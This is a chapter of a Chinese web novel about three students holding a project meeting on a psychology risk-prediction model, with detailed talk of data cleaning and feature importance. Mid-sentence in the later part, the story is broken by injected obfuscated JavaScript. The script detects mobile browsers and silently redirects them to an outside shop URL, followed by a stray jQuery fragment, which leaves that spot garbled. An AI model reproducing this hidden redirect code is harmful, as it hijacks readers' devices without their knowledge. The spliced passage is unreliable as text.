周二晚上七点二十五分,文理楼205教室。
这是三人小组约定的第一次线下会议。
程见微推开教室门时,里面已经坐着两个人。
陈默坐在靠窗的位置,冷白皮在荧光灯下显得有些苍白,清瘦的轮廓裹在一件宽松的深灰色卫衣里。黑框半框眼镜架在鼻梁上,镜片后那双细长的丹凤眼正专注地盯着笔记本电脑屏幕,屏幕上开着Python环境和几篇打开的心理学论文PDF。他今天没做鲻鱼头的造型,黑色短发柔软地垂在额前,让他看起来比线上会议时更显年轻,甚至有些清冷软萌的书卷气。
听到开门声,陈默抬起头。看到程见微的瞬间,他眼睛明显亮了一下,随即又迅速垂下眼睑,手指无意识地推了推眼镜——这是一个害羞的掩饰动作。
“程同学来了。”他打招呼,声音比线上会议时轻柔一些,带着点少年感的清澈,“我们刚到不久。”
而陆忱——
程见微的目光移向教室中间靠后的位置。
他没有独自坐在角落,而是选择了距离陈默两排座位的地方,同样靠窗,但更靠近教室后门。这既保留了个人空间,又能在讨论时自然加入。黑色衬衫,深灰色西裤,外面搭了一件同色系的薄款羊绒开衫。他正低头看着笔记本电脑屏幕,深空灰色的机身在日光灯下泛着冷冽的光泽。
听到动静,陆忱抬起眼。
他的目光先落在程见微脸上,停留了约一秒,然后移向陈默,最后又回到程见微身上。整个过程平静得没有一丝波澜,像完成了一次例行扫描。
“坐这里吧。”陈默指了指自己旁边的空位,又指了指陆忱旁边的空位,“或者那边……都行。”
程见微选择了教室中间、略微靠前的位置。这样三个人能形成一个稳定的三角形,交流起来视线自然,距离适中。她把深灰色的托特包放在桌上,取出笔记本电脑。
“我们先过一下上周的进度。”她边说边开机,动作利落,“我带了投影仪的转接线,需要投屏吗?”
“要的,这样方便。”陈默立刻点头,同时关掉几个无关的网页,桌面上露出他正在整理的心理学量表数据库——那是项目数据收集的核心部分。
陆忱没有说话,但程见微注意到他已经把笔记本电脑屏幕转向讲台方向,并调整了座椅角度,做好了观看准备。
她连接投影仪,调试。屏幕亮起,显示出她准备好的文档——“心理健康风险预测模型项目详细进度计划”。
文档用三种颜色标注:蓝色是陈默的数据收集与心理学理论框架,红色是陆忱的数据清洗与分析,绿色是她自己的算法建模。每个模块下列出具体任务、预期输出、截止日期,甚至标注了可能的难点和备选方案。
“哇,这么详细……”陈默凑近屏幕看,镜片后的眼睛眨了眨,“程同学你什么时候做的?”
“周末。”程见微语气平静,“项目已经启动三周,数据收集进入中期,下周开始要过渡到数据清洗和分析阶段。我们需要明确接下来的分工和时间线。”
她讲得很慢,确保每个字都清晰。目光在两人之间自然移动,保持平等的交流姿态。
“陆忱,”她转向他,“数据处理模块,上周你提到已经搭建了基础清洗框架。现在进展如何?”
陆忱抬起头。
教室里日光灯的白光均匀洒落,他的轮廓在这种冷色调的光线下显得格外清晰。剑眉浓密,眉骨高挺,眼窝微陷。狭长的杏眼是纯黑色的,虹膜在强光下也没有丝毫变浅,像两潭深不见底的水。鼻梁高挺笔直,唇线分明而略显单薄,下颌线干净利落得近乎锋利。
他的皮肤很白,是那种冷调的、几乎没什么血色的白,这让他的气质显得更加疏离。黑色碎发随意散落在额前,有几缕垂到眼睫上方,随着他抬眼的动作轻轻晃动。
他看着程见微,目光平静得近乎审视。
“基础清洗框架已完成。”他开口,声音比线上会议时更清晰,带着一种独特的、微冷的质感,“支持六种常见心理学量表的格式解析,包括SCL-90、SDS、SAS等。新增了逻辑矛盾检测功能,可以自动识别问卷回答中的不一致项。”
他从背包里取出一个U盘,动作很慢,手指修长而骨节分明,指甲修剪得极其干净。“清洗代码和测试数据集在这里,可以直接运行。”
程见微接过U盘,插入电脑。文件夹结构清晰得像教科书范例:每个文件有详细注释,函数按功能分层,数据清洗流程有完整的流程图说明。
她快速浏览核心代码。风格极度克制,没有多余的变量,没有炫技式的复杂写法,每一行都像经过精密计算后放置在最合适的位置。清洗逻辑严谨得近乎苛刻——比如对“从不、很少、有时、经常、总是”的五级评分,他不仅做了数值映射,还加入了相邻等级间的逻辑一致性检查。
“逻辑矛盾检测的阈值可以调节吗?”她问,目光从屏幕移回陆忱脸上。
陆忱看着她,眼神没有任何波动:“可以。参数可配置,默认是‘相邻等级跳跃超过两级即标记’。但用户可以根据研究需求调整。”他停顿半秒,补充道,“文档第三章有详细说明和不同阈值的效果对比。”
程见微找到文档,第三章果然有详细的参数说明,还附带了不同阈值下标记出的矛盾回答示例——处理得极其专业。
“很完整。”她说。
陆忱没有回应,只是继续看着她,好像在等待下一个问题。那种专注的、准备好应对任何质疑的姿态,让空气里无形中多了一种张力。
陈默在旁边轻轻咳嗽了一声,手指在键盘上无意识地敲了敲,像是被这种严肃的气氛压得有些紧张。
程见微继续推进:“可视化部分,你写了初步的探索性分析模板。这些模板是针对我们现有量表定制的,还是通用的?”
“定制。”陆忱说,声音依然平稳,“每个量表对应一套分析模板。SCL-90用雷达图展示九个因子得分,SDS和SAS用折线图展示随时间变化趋势,还加了与常模的对比参考线。”
“配色方案?”
“Viridis色系,连续渐变色,对色盲友好,也适合学术出版。”陆忱的声音里听不出情绪,只是陈述事实,“如果你有期刊投稿的特定要求,可以替换色表文件。”
程见微微微挑眉。连学术出版的配色要求都考虑到了——这已经超出了大多数本科生的思考范畴。
陈默这时插话,声音轻柔但清晰:“陆忱的清洗框架我试用了一下,确实很严谨。不过心理学数据有些特殊,比如有些受试者可能因为疲劳或注意力不集中,会在量表后半部分出现回答模式化。这种系统性偏差,清洗框架能识别吗?”
这是个专业的问题。陈默虽然看起来温和无攻击性,但在心理学专业上确实扎实。
陆忱转向他,目光平静:“可以。我加入了回答时间分析和选项分布均匀性检测。如果某个受试者在后三分之一题项的回答时间显著缩短,或者选项分布出现明显模式,系统会标记建议人工复核。”
他顿了顿,补充道:“但这部分算法还需要优化,误报率目前是12%。”
“12%已经很不错了。”陈默认真地说,“我们手工复核的时候,这种疲劳效应也很难100%准确判断。需要我提供一些已标记的样本数据,帮你优化算法吗?”
“可以。”陆忱点头,“周三前给我。”
“好,我今晚整理一下发你。”
两人的对话专业、高效,没有任何多余的客套。程见微在一旁安静听着,心里暗暗评估:陈默的专业能力确实扎实,而且懂得协作;陆忱虽然表面冷淡,但对有价值的建议会认真接受。
这种氛围很好。
“我的算法建模部分,”她接回主导权,把话题拉回正轨,“已经完成了基础特征工程和预建模。目前用逻辑回归和随机森林做了基线模型,AUC在0.72左右,不够理想。我怀疑是特征交互没有捕捉充分,正在尝试引入GBDT做特征交叉,预计周四能出结果。”
她打开自己的代码仓库,投屏到前方。
短暂沉默后,陆忱说:“特征重要性排序里,‘睡眠质量’的权重偏低。”
程见微一怔:“什么?”
她的第一反应是检查自己的特征处理——睡眠质量是SCL-90里的关键因子,理论上应该很重要。
“你用的特征重要性是基于Gini不纯度下降计算的。”陆忱的声音依旧平稳,像在陈述一个客观事实,“但对逻辑回归模型,用系数绝对值或LASSO路径可能更合适。不同方法得出的重要性排序会不同。”
程见微快速调出特征重要性分析代码。确实,她默认用了随机森林的Gini重要性,没有对比其他方法。
她愣住了。
不是因为这个疏漏有多严重——事实上,大多数项目做到这一步已经足够。但陆忱指出了更深层的方法论问题:不同模型、不同重要性评估方法,可能得出不同的结论。
而他显然对机器学习模型的理解非常深入。
“……你说得对。”程见微承认,语气里没有辩解,只有纯粹的认可,“我应该做多种重要性评估的对比,而不是依赖单一方法。谢谢提醒。”
“只是建议。”陆忱说,“不影响当前进度,但后续模型解释性会更强。”
这句话说得很平淡,但程见微听出了一丝别的意味——不是批评,更像是一种……确认。确认她也会在方法论上疏忽,确认她不是完美的,确认她愿意接受专业建议。
她忽然意识到,这可能是一种试探。
他在测试她的专业素养,也在测试她的反应。如果她辩解、找借口、或者表现出被冒犯,那可能就意味着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995703|193824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的“专业性”只是表面功夫。
而她坦然接受建议的态度,似乎让他……满意?
陈默在旁边轻轻笑了,声音温和:“陆忱就是这样,眼里容不得沙子。不过他说得对,模型可解释性对心理学研究特别重要——我们最终不仅要预测,还要理解机制。”
他说话时看向程见微,眼神里带着善意的理解,好像在为陆忱的直白做委婉的解释。那种体贴的姿态,自然而真诚。
陆忱瞥了陈默一眼,没说话,只是抿了抿嘴,把唇线拉成一条平直的线。
程见微注意到了这个小动作。她想起观察记录里写过:陆忱在不悦或需要克制情绪时,会有这个微表情。
为什么?因为陈默替自己解释?还是因为陈默表现出对她的体贴?
她暂时把这个疑问记在心里。
“我会注意,后续的所有分析都会考虑多种方法对比。”程见微语气不变,但眼神里多了一分认真,“谢谢两位的提醒。”
会议继续进行。
他们讨论了数据接口的格式、特征存储的结构、模型评估的指标。陆忱提出的每个问题都切中要害,有时候甚至尖锐得让陈默忍不住倒吸凉气。但程见微发现,只要自己先给出一个合理的方案,陆忱通常不会再深究。
他在测试她的底线——或者说,他在寻找某种确定性。
他要确认她是否真的有能力主导这个项目,是否能在面对质疑时保持冷静,是否能给出有说服力的解决方案。
而程见微,用七十八年积累的专业素养和理性思维,一次又一次地通过了这些测试。
九点十分,所有细节敲定。
“那这周就按这个计划推进。”程见微做最后总结,声音在安静的教室里显得格外清晰,“下周四同一时间,我们进行数据清洗后的第一次整合分析。有任何问题,随时在群里沟通。”
“好的。”陈默长出一口气,推了推眼镜,镜片后的眼睛弯成月牙,“终于理清楚了,我之前还有点担心进度。”
陆忱没有说话,只是轻轻点了点头。
会议结束。
程见微开始收拾东西。她拔掉投影仪连接线,整理好文档,把U盘还给陆忱。指尖相触的瞬间,她能感觉到他手指的温度——比常人低一些,像他的人一样,带着一种冷感。
“你的代码写得很好。”她看着他说,语气真诚,“结构清晰,注释完整,数据清洗逻辑很严谨。”
陆忱接过U盘,动作顿了顿。他抬起眼看她,黑色的瞳孔里映出教室顶灯的光点,像夜空里遥远的星。
“你也是。”他说,声音很低。
只有三个字,但程见微听得出,这不是客套。他是真的看过她的代码,真的认可她的水平。
陈默在旁边收拾书包,听到这话忍不住插嘴,语气里带着真诚的钦佩:“你们俩都太厉害了。我感觉自己像个拖后腿的,只能做做数据收集和理论框架……”
程见微转头看他,语气温和但坚定:“陈默,别这么说。心理学理论框架是项目的灵魂,没有你的专业支撑,我们的模型就是无源之水。而且你整理的量表数据库非常规范,给清洗和建模省了太多功夫。”
陈默的眼睛亮了,脸颊微微泛红:“真的吗?我还怕自己做得不够好……”
“真的。”程见微说,同时收拾好自己的背包,“每个人擅长的领域不同,协作的意义就在于此。只要按照计划推进,时间足够。”
三人一起走出教室。
走廊里灯火通明,其他教室也刚下课,学生们陆陆续续走出来,说话声、笑声、脚步声混杂在一起,充满了校园夜晚特有的生机。
陈默走在最前面,边走边看手机,忽然想起什么似的转身:“对了程同学,我这周在图书馆发现几篇特别相关的文献,已经发你邮箱了。其中有一篇关于‘社会支持调节效应’的元分析,我觉得可以引入我们的模型做调节变量分析。”
他说这话时眼睛很亮,语气兴奋,像个找到宝藏迫不及待分享的孩子。那种纯粹的学术热情,让人很难不被感染。
“好,我晚上回去看。”程见微点头,“谢谢分享。”
“叫我见微就好。”她补充。
“见微…不客气!”陈默笑起来,清隽的眉眼在走廊灯光下显得格外柔和,“那……我先回宿舍了?我住西区,和你们不顺路。”
“路上小心。”程见微说。
陈默挥挥手,又看了陆忱一眼——陆忱只是微微颔首——然后转身朝西侧楼梯走去,背影很快消失在拐角。
现在走廊里只剩下他们两个人。
陆忱走在前面,步子不快不慢,背影挺直,黑色开衫的下摆在走动时轻轻晃动。程见微跟在他身后半步的距离,保持着礼貌的空间。
走到楼梯口时,陆忱忽然停了下来。
他转过身,看着程见微。